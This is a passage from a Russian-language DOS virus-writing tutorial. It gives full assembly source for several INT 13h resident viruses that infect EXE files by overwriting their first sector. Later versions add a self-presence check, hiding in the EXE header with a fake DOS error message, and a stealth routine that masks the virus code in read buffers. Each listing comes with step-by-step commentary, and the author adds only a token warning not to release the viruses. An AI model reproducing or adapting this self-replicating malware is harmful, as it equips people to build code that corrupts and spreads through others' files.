узнАет, что считывается именно исполняемый файл и -- как он сможет записать свой код в тело файла? При помощи обработки по-своему прерывания 13h. Любой EXE-файл (ТОЛЬКО ТАКИЕ ФАЙЛЫ БУДЕТ ПОРАЖАТЬ НАШ ВИРУС) начинается со специального заголовка (и о нем мы поговорим). А этот заголовок непременно начинается с сигнатуры MZ (признак .EXE файла). Процесс считывания файла с HDD начинается с чтения сектора (или группы секторов), с которых файл начинается, в определенный буфер ввода/вывода. Пос- ле завершения этой первой операции считывания в буфере ввода/вывода будет храниться начало файла и первые два байта будут говорить- с EXE- или не с EXE-файлом мы имеем дело. Конечно же -- Вы совершенно верно догадались, что об этом наш вирус сможет узнать, перехватывая и по-своему обрабатывая преры- вание 13h. Получается что резидент должен следить за чтением каждой группы секторов и каждый раз залезать в буфер ввода/вывода. Если в начале буфера ввода/вывода сидит MZ, то активизируется специальная п/п-ма вируса -- вирус заражает файл. Теперь - внимание! - когда резидент обнаружит, что считалось начало EXE- файла, у него (резидента) будет ПОЛНАЯ информация о том, в каком месте на HDD лежит это начало, - ибо после считывания секторов входные параметры п/п-мы обработки прерывания 13h ОСТАЮТСЯ ТЕМИ ЖЕ (портится кажется только регистр AH) Следовательно, чтобы "заразить" файл - нужно лишь дать прерывание 13h со входными параметрами, оставшимися от предыдущей операции считывания. Нужно также лишь изменить значение AH с 02(чтение) на 03(запись) и переопределить адрес буфера ввода-вывода (ES:BX) на свой сегмент кода. И - все! Вот текст вируса (коментарии см. ниже): ┌──────────────────────────────────────────────────────────┐ │ пример 8 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N8 -- первый вирус (заражает ЕХЕ-файл) ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; head: JMP initial ; перепрыгнем через данные ; ; и наш обработчик прер-я 13 ; ; на инициализирующую часть ; saved_int13: DD 0 ; данные (хранилище для ; ; адреса стандартного обра- ; ; ботчика прерывания 13 -- ; ; -- 2 слова) ; ; ;┌──────────наша п/п-а обработки прерывания 13─────────────────┐ int13_treater:;│ │ PUSH AX ;─┐ │ PUSH BX ; ├─сохраняем регистры,которые │ PUSH ES ;─┘ мы возможно испортим │ CMP AH,02 ;происходит чтение? нет -- слу-│ JNE no_reading ; чай нас не интересует, -- мы│ ; ; глубоко разочаровались и пре- ; ; кращаем дальнейшую обработку│ ; │ PUSHF ;даем санкцию на чтение сектора│ CALL dword ptr CS:[saved_int13] ;(секторов)-это сделает хозяин │ ; ;(исходный обработчик) int13 │ ; │ ; │ CMP word ptr ES:[BX],5A4Dh ;читался .ЕХЕ ? (5A4Dh = "ZM") │ JNE no_EXE_file ; нет -- случай нас не интере-│ ; ; сует, прекращаем дальнейшую │ ; ; обработку │ ; ; │ ; ;Ага ! -- вот и жертва !!! │ MOV AX,0301h ;будем писать на HDD 1 сектор │ MOV BX,OFFSET head ;──┬──будем записывать себя │ PUSH CS ; │ │ POP ES ;──┘ │ ; ; │ no_reading: PUSHF ;операция заражения или (если │ CALL dword ptr CS:[saved_int13] ; мы разочаровались) простого │ no_EXE_file: POP ES ;─┐возврата управления обработ-│ POP BX ; │чику INT 13h │ POP AX ;─┴────восстанавливаем регистры│ IRET ; которые мы │ ;│ ; использовали │ ;└─────────────────────────────────────────────────────────────┘ ; ;┌──────────инициализирующая часть─────────────────────────────┐ ;│ (здесь мы сажаем резидент) │ ;│ │ initial: XOR DX,DX ; ───┐ │ MOV DS,DX ; ───┴──> DS = 0 │ ; │ MOV AX,DS:[13h*4] ; сохраняем в хранилище │ MOV word ptr CS:[saved_int13 ],AX ; int13 адрес стандартного │ MOV AX,DS:[13h*4+2] ; обработчика прерывания 13│ MOV word ptr CS:[saved_int13+2],AX ; ( OFFSET и SEGMENT ) │ ; │ ; │ CLI ;запрещаем прерывания │ MOV AX,OFFSET int13_treater ; │ MOV word ptr DS:[13h*4],AX ;кладем в таблицу векторов │ PUSH CS ; адрес нашего обработчика │ POP AX ; прерывания 13 │ MOV word ptr DS:[13h*4+2],AX ; │ STI ;разрешаем прерывания │ ; │ ; │ MOV DX,OFFSET rezident_end+1 ;DX<--конец резид. части │ ; ; (а к ней относится ВСЯ │ ; ; программа) │ INT 27h ;закончить программу и │ rezident_end: ;│ ; вернуться в DOS, оставив │ ;│ ; резидентной всю программу│ ;└─────────────────────────────────────────────────────────────┘ MainProcedure ENDP ; CodeSegment ENDS END Start коментарии: Прокоментируем лишь резидентную часть программы, ибо все остальное уже до боли Вам знакомо. В процессе работы мы, возможно воспользуемся регистрами AX,BX,ES => пе- ред началом работы сохраняем их, а в конце -- восстанавливаем. При обработке прерывания первым делом проверяем читаются ли сектора (нас интересует только чтение) и, если нет -- возвращаем управление исходному об- работчику INT 13h и на этом -- все. Если сектора читаются, мы позволяем исходному обработчику INT 13h прочи- тать их (команда CALL) и предоставить нам дополнительную информацию к размыш- лению. После того, как исходный обработчик INT 13h прочитал сектора -- проверя- ем -- началось ли чтение ЕХЕ-файла (первые два байта в буфере = "MZ". Кстати -- операнд команды сравнения будет 5A4Dh="ZM", а не "MZ" -- ибо сначала идет младший байт, а потом -- старший). Если читается не начало ЕХЕ-файла, а что-то другое -- свертываем нашу деятельность (восстанавливаем испорченные регистры и делаем IRET). Если же буфер начинается с "MZ", то -- мы заразим файл. Для этого изме- ним AX: AH = 03(режим записи), AL = 1(записать 1 сектор). Изменим также коор- динаты буфера ввода/вывода -- настроим его на код вируса ES = CS, BX = OFFSET head. При этом все остальные параметры операции (куда записывать) мы унасле- дуем от предыдущей процедуры чтения. Мы записываем в начало файла-жертвы один сектор, т.к. наш вирус занимает всего 82 байта - рекорд! Ну вот, откомпилируйте и можете поиграть с программой. Только не взду- майте выпустить этот варварский вирус в "открытый космос". Во-первых он дале- ко не пойдет, ибо очень быстро себя выдаст (зараженные программы не работа- ют), во-вторых -- это просто дурной тон. Для обеспечения минимального уровня безопасности экспериментируйте в Volcov Comander-e и своевременно изгоните вирус из оперативки. Вьювер у вас тоже не должен быть ЕХЕ-файлом! Ни в коем случае не запускайте никаких иных файлов кроме выбранных в качестве жертвы. И вирус будет абсолютно ручным. Возможен один прикол -- уже зараженный (следо- вательно - необратимо грохнутый) файл выполняется как нормальный. Это связано с кэшированием. ПосмотрИте на этот файл (вьювер должен быть СОМ-файлом!) -- и Вы увидите, что он заражен. Этот вирус не проверяет длину заражаемого файла. Если он заразит ЕХЕ-файл размером более 64 Кб, то при последующем запуске такой файл вовсе не будет загружен (системный загрузчик выдаст сообщение об ошибке: File too big to fit in memory). У вируса есть еще один серьезный недостаток: он не проверяет, имеется ли уже в памяти PC его резидентная копия. => каждый раз при зарпуске зараженной программы будет возникать новый резидент. Будет сильно расходоваться опера- тивка и замедляться работа PC. Давайте исправим этот недостаток, - научим вирус определять, есть ли в ОЗУ его резидентная копия. Это очень просто, - нужно лишь проанализировать с чего начинается п/п-ма, на которую указывает адрес из таблицы векторов. Вот как это будет: ┌──────────────────────────────────────────────────────────┐ │ пример 9 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N9 -- первый вирус (модификация) ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; head: JMP initial ; перепрыгнем через данные ; ; и наш обработчик прер-я 13 ; ; на инициализирующую часть ; saved_int13: DD 0 ; данные (хранилище для ; ; адреса стандартного обра- ; ; ботчика прерывания 13 -- ; ; -- 2 слова) ; ; ;┌──────────наша п/п-а обработки прерывания 13─────────────────┐ int13_treater:;│ ; │ PUSH AX ;─┐ │ PUSH BX ; ├─сохраняем регистры,которые │ PUSH ES ;─┘ мы возможно испортим │ CMP AH,02 ;происходит чтение? нет -- слу-│ JNE no_reading ; чай нас не интересует, -- мы│ ; ; глубоко разочаровались и пре- ; ; кращаем дальнейшую обработку│ ; ; │ PUSHF ;даем санкцию на чтение сектора│ CALL dword ptr CS:[saved_int13] ;(секторов)-это сделает хозяин │ ; ;(исходный обработчик) int13 │ ; ; │ ; ; │ CMP word ptr ES:[BX],5A4Dh ;читался .ЕХЕ ? (5A4Dh = "ZM") │ JNE no_EXE_file ; нет -- случай нас не интере-│ ; ; сует, прекращаем дальнейшую │ ; ; обработку │ ; ; │ ; ;Ага ! -- вот и жертва !!! │ MOV AX,0301h ;будем писать на HDD 1 сектор │ MOV BX,OFFSET head ;──┬──будем записывать себя │ PUSH CS ; │ │ POP ES ;──┘ │ no_reading: PUSHF ;операция заражения или (если │ CALL dword ptr CS:[saved_int13] ; мы разочаровались) простого │ no_EXE_file: POP ES ;─┐возврата управления обработ-│ POP BX ; │чику INT 13h │ POP AX ;─┴────восстанавливаем регистры│ IRET ; которые мы │ ;│ ; использовали │ ;└─────────────────────────────────────────────────────────────┘ ; ;┌──────────инициализирующая часть─────────────────────────────┐ ;│ (здесь мы сажаем резидент) │ ;│ ; │ initial: XOR DX,DX ; здесь мы анализируем, не явля-│ MOV DS,DX ; ется ли первый из цепочки об- │ MOV BX,DS:[13h*4] ; работчиков прерывания 13 п/п- │ MOV ES,DS:[13h*4+2] ; -мой нашего вируса. │ CMP word ptr ES:[BX ],5350h ; (5350h,8006h,02FCh -- коды │ JNE make_me_TSR ; группы команд PUSH AX,PUSH BX,│ CMP word ptr ES:[BX+2],8006h ; PUSH ES,CMP AH,02; сначала │ JNE make_me_TSR ; младший байт, - потом - стар- │ CMP word ptr ES:[BX+4],02FCh ; ший). Если вирус опознал себя,│ JE I_am_TSR_already ; -- резидент не сажается │ ; ; │ ; ; │ make_me_TSR: MOV AX,DS:[13h*4] ; сохраняем в хранилище │ MOV word ptr CS:[saved_int13 ],AX ; int13 адрес стандартного │ MOV AX,DS:[13h*4+2] ; обработчика прерывания 13│ MOV word ptr CS:[saved_int13+2],AX ; ( OFFSET и SEGMENT ) │ ; ; │ ; ; │ CLI ;запрещаем прерывания │ MOV AX,OFFSET int13_treater ; │ MOV word ptr DS:[13h*4],AX ;кладем в таблицу векторов │ PUSH CS ; адрес нашего обработчика │ POP AX ; прерывания 13 │ MOV word ptr DS:[13h*4+2],AX ; │ STI ;разрешаем прерывания │ ; ; │ ; ; │ ; ; │ MOV DX,OFFSET rezident_end+1 ;DX<--конец резид. части │ ; ; (а к ней относится ВСЯ │ ; ; программа) │ INT 27h ;закончить программу и │ ; ; вернуться в DOS, оставив │ ; ; резидентной всю программу│ ; ; │ I_am_TSR_already: RET ; вернуться в DOS, без соз-│ rezident_end: ;│ ; дания резидентной копии │ ;│ ; │ ;└─────────────────────────────────────────────────────────────┘ MainProcedure ENDP ; CodeSegment ENDS END Start Что здесь новенького? В инициализирующей┌──XOR DX,DX части появилась группа операторов:───────>───┤ MOV DS,DX Этот фрагмент анализирует, не лижит ли по ад-│ MOV BX,DS:[13h*4] ресу, лежащему по адресу 0000:004Eh, наш │ MOV ES,DS:[13h*4+2] вирус. И если он там действительно есть, -- │ CMP word ptr ES:[BX ],5350h джамп на метку I_am_TSR_already (обычный вы- │ JNE make_me_TSR ход в DOS). Этот фрагмент обошелся нам в │ CMP word ptr ES:[BX+2],8006h 32 байта (чудовищная роскошь). Можно сделать │ JNE make_me_TSR иначе - намного экономичнее - при посадке ре-│ CMP word ptr ES:[BX+4],02FCh зидента установить флажок где-нибудь на млад-└──JE I_am_TSR_already ших адресах ОЗУ, и потом, при каждом новом за- пуске, проверять его. Чтобы выбрать свободную ячейку памяти на младших адресах - бегло просмотрите структуру области данных BIOS. Информацию Вы найдете в /4/ (литература) или в /4/ (инструменты). Ну вот, Вы уже кое-что узнали. Начало скромное но многообещающее. На этом позвольте прикончить главу. гл.7 НЕКОТОРЫЙ ПРОГРЕСС (создание ублюдочного резидентного вируса, не гроха- ющего данные, но поражающего ЕХЕ-файлы избирательно) ПЕРВОЕ ЗНАКОМСТВО СО СТЭЛС-ВИРУСАМИ (невидимками) ════════════════════════════════════════════════════════════════════════════ Сразу должны сознаться, - приводимый здесь пример не учитывает тонких нюансов системы MS-DOS, - он корректно работает лишь если количество DOS-ов- ских буферов не превышает некоего критического числа (у нас это было 18), в противном случае PC просто зависает. Позднее мы раскажем об этом подробнее. Наш первый вирус уничтожал (затирал собою) первый сектор файла, вслед- ствии чего заражаемая программа превращалась в груду мусора. Но ведь мы сами сказали, что истинное искусство состоит в том, чтобы вирус был вирусом, но при этом позволял зараженным программам нормально работать. Можно ли написать вирус, поражающий ЕХЕ-файлы по тому-же механизму, что и предыдущий (для крат- кости будем впредь называть наш первый вирус V1), но позволяющий им нормально выполняться? Да. Для некоторых ЕХЕ-файлов это возможно. При этом мы по-преж- нему будем заменять 1-ый сектор файла, не изменяя т.о. его длины. Но как? Все дело в уже упомянутом нами заголовке ЕХЕ-файла, располагающемся в его начале и начинающемся с "MZ". Этот заголовок имеет определенную структу- ру. Иногда в нем имеется куча пустого места, где и может спрятаться вирус. Для написания вируса, который будет прятаться в заголовке нам надо поз- накомиться со структурой последнего. Зачем вообще ЕХЕ-файлам заголовки? СОМ-файлы прекрасно без них обходят- ся. Дело в том, что СОМ-файлы могут иметь размер не более 65535 байт (1 мак- симальный сегмент). А если Вы хотите создать модуль бОльшего размера (это мо- жет быть льшь ЕХЕ-файл), -- извольте попотеть! ПОДРОБНЕЕ: и код и данные СОМ-файла адресуется лишь одним сегментным ре- гистром CS и счетчиком IP. Перед началом выполнения программы CS устанавлива- ется равным PSP, а IP = 100 . Регистр стека SS в этом случае автоматически устанавливается = CS, а регистр SP == SS+65535 (поэтому, кстати, в СОМ-файлах сам исполняемый код вместе с данныыми, хранимыми в сегменте кода, должены быть менее 65535 -- нужно оставить место под стек). В случае ЕХЕ-файла, (не- важно -- бОльшего чем 65535, или нет) регистры CS,SS,IP,SP не определяются автоматически, как для СОМ-файла. ЕХЕ- и СОМ-программы запускает на выполнение специальная программа-заг- рузчик, вызываемая прерыванием 21h (функция 4Bh). Именно такое прерывание сгенерится если Вы стартанете скажем TETRIS.COM или TETRIS.ЕХЕ. Если эта программа-загрузчик обрабатывает СОМ-файл, она априори имеет всю информацию о том, что надо сделать (CS=PSP; IP=100; SS=CS; SP=SS+65535; адресацию некото- рых объектов, зависящую от места загрузки программы в память (так называемые настраиваемые элементы) корректировать не надо, - поскольку таковых здесь во- обще нет). А в случае ЕХЕ-файла -- программа-загрузчик обязана инициализиро- вать регистры CS,SS,IP,SP и корректировать настраиваемые элементы. Откуда же взять информацию для выполнения этих операций ? Вот для этой цели и придумали заголовок. В нем эта информация имеется и еще -- многое другое. Когда прог- рамма-загрузчик готовится к старту ЕХЕ-файла, она берет информацию из заго- ловка, загружает в ОЗУ содержимое ЕХЕ-файла (при этом корректирует настраива- емые элементы) и инициализирует SS,SP,CS,IP, передавая управление загруженно- му модулю. ПРИ ЭТОМ САМ ЗАГОЛОВОК В ОЗУ НЕ ЗАГРУЖАЕТСЯ ! Как программа-заг- рузчик узнает, что имеет дело с ЕХЕ-файлом? По сигнатуре "MZ" в начале заго- ловка . Как программа-загрузчик узнает, где кончается заголовок и начинается исполняемая часть ЕХЕ-файла? Это написано в заголовке. А если в начале заголовка не будет сигнатуры "MZ"? Тогда программа-заг- рузчик решит, что имеет дело с СОМ-файлом и попытается выполнить стандартные действия -- CS=PSP; IP=100; SS=CS; SP=SS+65535. Помните как действовал V1? Он затирал собою заголовок и превращал ЕХЕ-программу в СОМ-. При этом до выпол- нения кода пораженного файла дело вообще не доходило, - выполнялся лишь код вируса, лежащий в 1-ом секторе файла, на месте прежнего заголовка. А если в этом случае длина файла более 64 Кб (мы заразили большой ЕХЕ-файл, превравив его в СОМ-) ? Тогда будет выдано сообщение об ошибке: "programm too big to fit in memory", ибо программа-загрузчик твердо знает, что СОМ-файл имеет дли- ну не более 64 Кб. Вот как устроен заголовок ЕХЕ-файла (по данным thelp /4/): Смещ.Длина Содержимое ══════════ ═══════════════════════════════════════════════════════════════ ┌───────┐ +0 2 │4Dh 5aH│ "подпись" файла .EXE ('MZ') ├───┴───┤ +2 2 │PartPag│ длина неполной последней страницы (обычно игнорируется) ├───┴───┤ +4 2 │PageCnt│ длина образа в 512-байтовых страницах, включая заголовок ├───┴───┤ +6 2 │ReloCnt│ число элементов в таблице перемещения ├───┴───┤ +8 2 │HdrSize│ длина заголовка в 16-байтовых параграфах ├───┴───┤ +0aH 2 │MinMem │ минимум требуемой памяти за концом программы (параграфы) ├───┴───┤ +0cH 2 │MaxMem │ максимум требуемой памяти за концом программы (параграфы) ├───┴───┤ +0eH 2 │ReloSS │ сегментное смещение сегмента стека (для установки SS) ├───┴───┤ +10H 2 │ExeSP │ значение регистра SP (указателя стека) при запуске ├───┴───┤ +12H 2 │ChkSum │ контрольная сумма (отрицательная сумма всех слов в файле) ├───┴───┤ +14H 2 │ExeIP │ значение регистра IP (указателя команд) при запуске ├───┴───┤ +16H 2 │ReloCS │ сегментное смещение кодового сегмента (для установки CS) ├───┴───┤ +18H 2 │TablOff│ смещение в файле 1-го элемента перемещения (часто 001cH) ├───┴───┤ +1aH 2 │Overlay│ номер оверлея (0 для главного модуля) └───┴───┘ 1cH размер форматированной порции заголовка EXE ┌───────┬───────┬ ── ┬───────┬───────┐ Таблица перемещения. Начало + ? 4*? │ смещ. сегмент│... │ смещ. сегмент│ по смещению [EXE+18H]. Имеет └───┴───┴───┴───┴ ── ┴───┴───┴───┴───┘ [EXE+6] 4-байтовых элемента. + ? ? пропуск до границы параграфа + ? ? начало образа программы Все, что идет в заголовке начиная с адреса 20h и до конца заголовка мо- жет быть пустым местом, которое мы сможем использовать в своих целях. Начиная с этого адреса в заголовке хранится таблица перемещения (это адреса настра- иваемых элементов; подробнее об этом узнАем после), которая может не содер- жать ни одного элемента. Сделаем однако некоторое допущение, - пусть таблица перемещения не пуста, но занимает не более 32 (20h) байт (2 параграфа), а все остальное место - свободно; - т.о. в заголовке занято лишь первые 40h байт. У многих ЕХЕ-файлов (если заголовок не упакован) именно так и обстоят дела. Основная идея нашего второго вируса (V2) такая: заражая ЕХЕ-файл, V2 са- дится в его начало, превращая жертву в СОМ-файл. При первом запуске заражен- ного файла в память сажается резидент, а сам файл не выполняется. Пользова- тель наверняка попробует запустить файл заново (чтобы он не насторожился при первом несрабатывании -- сажающая резидент часть выдаст сообщение об ошибке, - возникающее очень часто если нажмешь не на ту клавишу и т.п. -- например "Bad command or file name"). При повторной попытке запуска файла возникший резидент обнаружит, что загружается на выполнение файл уже зараженный V2, и прочитает его в ОЗУ, как ЕХЕ-файл. Совершенно очевидно что для заражения нам сгодится лишь ЕХЕ-файл с заго- ловком длиной не менее одного сектора (иначе, действуя по предыдущему алго- ритму, мы грохнем часть исполняемого кода). При этом настроечная информация и таблица перемещения в сумме должны занимать не более 64 (40h) первых байт. Нам также необходимо сохранить где-то эти 4 первых параграфа заголовка (64 байт). Вот как видится нам структура вируса, внедрившегося в ЕХЕ-файл: ┌──────────────────────────────────────────────────────────┐ │ рис.7 │: └──────────────────────────────────────────────────────────┘ исходный ЕХЕ-файл зараженный ЕХЕ-файл (при этом он стал СОМ-файлом) адрес ┌─┐ │ ┌─┐ <─────────────────┐ │M│ 00───┐сигна- │ │ 00───┐ │ │Z│ ├тура (2 байта) ┌────JMP Short ├ 2 байта │ ├─┤ ────┘ │ ├─┤ ────┘ │ │ │ 02 ─┐всякие │ │ │ 02 ─┐всякие │ │ │ ├настройки │ │ │ ├настройки ├первый │ │ 1F ─┘ │ │ │ 1F ─┘ │сектор ├─┤ │ ├─┤ │файла │ │ 20 ─┐ │ │ │ 20 ─┐ │(мы ра- │ │ ├таблица │ │ │ ├таблица │ботаем │ │ │переме- │ │ │ │переме- │лишь с │ │ │щения │ │ │ │щения │ним) │ │ 3F ─┘ │ │ │ 3F ─┘ │ ├─┤ │ ├─┤ │ │ │ 40 ─┐ └───>│Х│ 40 ─┐ │ │ │ ├пустое │Х│ ├код ви- │ │ │ │место │Х│ │руса │ │ │ 1FF ┘ │Х│ 1FF ┘ │ ├─┤ ├─┤ <───────────────┘ │ │ 200 ┐пустое─┬(если заголовок │ │ 200 ┐пустое │ │ ├место──┘длиннее 512 байт) │ │ ├место │ │ │или на │ │ │или на │ │ │чало │ │ │чало │ │ │кода самОй программы │ │ │кода программы Теперь смотрите внимательно! -- если в зараженном файле вместо первых двух символов (JMP Short на тело вируса) поставить "MZ", то зараженный файл вновь станет полноценным ЕХЕ-файлом! Совсем не важно, что место, которое ран- ше было пустым, теперь занято кодом вируса. Программа-загрузчик вообще игно- рирует это место. Теперь вопрос -- а что если сидящий в памяти резидент обнаружил, что после чтения секторов буфер ввода/вывода начинается с кода вируса и заменил в буфере первые 2 байта на "MZ"? В этом случае загруженный в ОЗУ файл будет опознан как ЕХЕ- и выполнен без ошибок. А этот резидент, как уже было сказано выше, возник при первом запуске пораженного файла (сам файл при этом выполнен не был). Вот исходник вируса V2 (коментарии см. ниже): ┌──────────────────────────────────────────────────────────┐ │ пример 10 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N10 - наш второй вирус (файл не гробится) ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; head: JMP Short to_initial ; перепрыгнем через данные ; ; и наш обработчик прер-я 13 ; ; на инициализирующую часть ; header_info DB 62 DUP(0) ; данные (хранилище для ; ; настроек ЕХЕ-заголовка) ; saved_int13: DD 0 ; данные (хранилище для ; ; адреса стандартного обра- ; ; ботчика прерывания 13 -- ; ; -- 2 слова) ; ; admonition DB 'Bad command or file name$' ; данные (выдача "псевдо- ; ; ошибки" - симуляция DOS) ; to_initial: JMP initial ; короткий джамп не достал бы ; ; до initial ; ;┌──────────наша п/п-а обработки прерывания 13─────────────────┐ int13_treater:;│ ; │ PUSH AX ; │ PUSH BX ; │ PUSH ES ; │ ;┌ предворительные анализы────────────────────────────────────┐│ ;└────────────────────────────────────────────────────────────┘│ CMP AH,02 ;файл читается? нет - уходим, │ JNE return_int ; возвращая прерыв-е 13 за- │ ; ; конному владельцу │ PUSHF ; │ CALL dword ptr CS:[saved_int13] ;чтение под контролем │ ; ; │ CMP word ptr ES:[BX],5A4Dh ;ЕХЕ-файл? │ JE take_care_of ; да -- познакомимся поближе │ ; ; нет - проверим нет ли в чи-│ ; ; таемом секторе самогО вируса ; ; │ CMP word ptr ES:[BX+60h],5350h ;─┐ читается сектор(а), содер-│ JNE no_virus ; ├── жащий(ие) сам вирус? │ CMP word ptr ES:[BX+62h],8006h ; │5350h,8006h - его сигнатура│ JNE no_virus ;─┘ нет -- выходим из прерыв-я│ MOV word ptr ES:[BX],4D5Ah ; │ JMP Short EXE_simul ; да -- симуляция ЕХЕ-файла │ ; ; │ take_care_of: ;┌──────дополнительная проверка пригодности ЕХЕ-файла:────────┐│ ;└────────────────────────────────────────────────────────────┘│ CMP word ptr ES:[BX+8],20h ;достаточно ли велик заголо- │ JB bad_EXE ; вок? (годится не менее 20h)│ CMP word ptr ES:[BX+6],08h ;достаточно ли мала relocation│ JA bad_EXE ; ? (годится не более 8h) │ CMP word ptr ES:[BX+4],77h ;достаточно ли мал ЕХЕ-файл? │ JA bad_EXE ; (годится не более 77h*512) │ ; ; │ ;┌─────репродуктивная часть; (жертва найдена !)───────────────┐│ ;└────────────────────────────────────────────────────────────┘│ PUSH CX ; │ PUSH DI ; │ PUSH SI ; │ landing_craft:MOV CX,3Eh ;в тело вируса копируются на- │ MOV DI,OFFSET header_info ; стройки ЕХЕ-заголовка │ MOV SI,BX ; (2 параграфа) │ send_another: MOV AL,ES:[SI+2] ; │ MOV byte ptr CS:[DI],AL ; если здесь применить обычно│ INC DI ; столь экономичную конструк-│ INC SI ; цию REP MOVS, то мороки бу-│ LOOP send_another ; дет больше │ POP SI ; │ POP DI ; │ POP CX ; │ ; ; │ MOV AX,0301h ;производится высадка в зара- │ MOV BX,OFFSET head ; жаемый файл │ PUSH CS ; │ POP ES ; │ ; ; │ return_int: PUSHF ; │ CALL dword ptr CS:[saved_int13] ; │ ; ; │ ;┌эти метки -- чисто для мнемоники; на каждую управление пере-┐│ ;│дается ПОСЛЕ определенного этапа выполнения ││ ;└────────────────────────────────────────────────────────────┘│ no_virus: ; вирус не нашел ни себя, ни -- пригодного для зараж-я ЕХЕ-файла │ EXE_simul: ; вирус нашел себя и симулирует ЕХЕ-файл │ bad_EXE: ; вирус разочаровался в ЕХЕ-файле и не стал с ним возиться │ POP ES ; │ POP BX ; │ POP AX ; │ IRET ; │ ;│ ; │ ;└─────────────────────────────────────────────────────────────┘ ; ;┌─────────────────инициализирующая часть──────────────────────┐ ;│ (здесь мы сажаем резидент, переопределяя адреса) │ ;│ ; │ initial: XOR DX,DX ; │ MOV DS,DX ; │ MOV AX,DS:[13h*4] ; сохраняем в хранилище │ MOV word ptr CS:[saved_int13 ],AX ; int13 адрес стандартного │ MOV AX,DS:[13h*4+2] ; обработчика прерывания 13│ MOV word ptr CS:[saved_int13+2],AX ; ( OFFSET и SEGMENT ) │ ; ; │ CLI ;запрещаем прерывания │ MOV AX,OFFSET int13_treater ; │ MOV word ptr DS:[13h*4],AX ;кладем в таблицу векторов │ PUSH CS ; адрес нашего обработчика │ POP AX ; прерывания 13 │ MOV word ptr DS:[13h*4+2],AX ; │ STI ;разрешаем прерывания │ ; ; │ PUSH CS ;этот фрагмент выводит на │ POP DS ; экран ASCII строку "Bad │ MOV AH,09 ; command or file name" │ MOV DX,OFFSET admonition ;(функция 09 прерывания 21h│ INT 21h ; DOS; DS:DX-адрес строки) │ ; ; │ MOV DX,OFFSET rezident_end ;DX<--конец резид. части │ ; ; (а к ней относится ВСЯ │ ; ; программа) │ INT 27h ;закончить программу и │ rezident_end: ;│ ; вернуться в DOS, оставив │ ;│ ; резидентной всю программу│ ;└─────────────────────────────────────────────────────────────┘ MainProcedure ENDP ; CodeSegment ENDS END Start коментарии: Что здесь новенького? Во-первых -- мы выводим на экран строку символов (печатаем 'Bad command or file name'). Это можно сделать при помощи уже зна- комого нам прерывания 10h (функция 0Eh) -- печатая в цикле отдельные символы. Но чтобы организовать цикл, нужно много операторов, а мы боремся за экономию места. Есть выход -- воспользоваться специальной функцией (09) прерывания 21h. Она осуществляет печать ASCII строки заканчивающейся символом "$". В па- ру регистров DS:DX нужно загрузить адрес ASCII строки, в AH -- 09 и дать пре- рывание 21h (INT 21h). Мы анализируем загружаемый ЕХЕ-файл, ┌─CMP word ptr ES:[BX+8],20h ведь он еще может оказаться непригодным │ JB bad_EXE для заражения. Вот блок-анализатор:──────────┤ CMP word ptr ES:[BX+6],08h ES:[BX+8] - длина заголовка │ JA bad_EXE ES:[BX+6] - длина табл. перемещ-я │ CMP word ptr ES:[BX+4],77h ES:[BX+4] - длина файла в секторах └─JA bad_EXE Мы анализируем загружаемый ЕХЕ-файл, ┌─CMP word ptr ES:[BX+60h],5350h не заражен ли он уже нами раньше . │ JNE no_virus Вот блок-анализатор:──────────┤ CMP word ptr ES:[BX+62h],8006h 5350h и 8006h -- коды команд PUSH AX,PUSH BX,└─JNE no_virus PUSH ES и CMP AH,02 , с которых начинается резидентная часть вируса. Если вирус опознал себя в читаемом в память файле, то он делает этот файл ЕХЕ-файлом (команда MOV word ptr ES:[BX],5A4Dh). Если вирус обнаружил, что на выполнение считывается годный для заражения ЕХЕ-файл, он записывает себя в его первый сектор. При этом вирус копирует в свое тело настройки заголовка ЕХЕ-файла так, чтобы они были в тех-же позици- ях, что и в заголовке. Все остальные особенности идентичны примеру 9. Если захотите поэкспериментировать с этим вирусом, - Вы должны найти подходящий файл-жертву, в заголовке которого есть пустое место и размером не более 64 Кб. Это может быть ЕХЕ-файл, созданный компилятором Си 2.0, или тем же TASM-ом. Еще раз напоминаем о зависании PC, если количество буферов DOS больше 18 (или около того). Могут, вероятно, плохо влиять всякие утилиты, уп- равляющие распределением памяти. Многие из ЕХЕ-файлов ныне обрабатываются специальными компрессаторами, удаляющими ненужные пустоты, и поэтому не могут быть заражены V2. Но можно сделать еще круче. Наш вирус может стать невидимкой (Stealth). Для этого нужно, чтобы его резидентная часть не просто превращала при загруз- ке зараженный файл в ЕХЕ- (в начало буфера ввода/вывода ложится 'MZ'), но и заполняла место в буфере, где лежит вирус, нулями. Вот фрагмент, который нуж- но вставить в текст примера 10 между операторами MOV word ptr ES:[BX],5A4Dh ┌─────────────────> и │ JMP Short EXE_simul : │ │ ┌──────────────────────────────────────────┐ │ │ PUSH CX │ │ │ PUSH DI │ └─┤ MOV CX,200h-40h │ │ MOV DI,40h │ │mask_another: MOV byte ptr ES:[BX+DI],00 │ │ INC DI │ │ LOOP mask_another │ │ POP DI │ │ POP CX │ └──────────────────────────────────────────┘ Здесь все вроде-бы понятно. При обнаружении считывания вируса с диска резидент заполняет в буфере ввода весь заголовок (200h байт) кроме области настроек (первые 40h байт), т.е. место, где сидит вирус, нулями. Теперь, если Вы попытаетесь просмотреть файл в режиме активного резиден- та, -- то не обнаружите кода вируса! Однако, Stealth-вирусы можно легко обнаружить, если воспользоваться спе- циальными средствами. И в этом случае Stealth-режим будет действовать наобо- рот -- демаскировать вирус-невидимку. Парадокс! Такие антивирусные программы как Adinf, могут безошибочно обнаруживать Stealth-вирусы. Как же это возмож- но? Вы помните, что прерывания обрабатываются специальными системными под- программами. Наши фокусы возможны благодаря тому, что мы дополняем процесс обработки прерывания системной подпрограммой нашими оригинальными действиями. А что если некто (например -- тот же Adinf) воспользуется вышеупомянутой сис- темной подпрограммой (как и любую подпрограмму ее можно поместить в свой сег- мент кода) без генерации сигнала прерывания, которое перехвачено Stealth-ви- русом. А потом -- сделает то же самое действие при помощи прерывания (Stealth-вирус при этом будет себя маскировать). И после этого сравнит оба 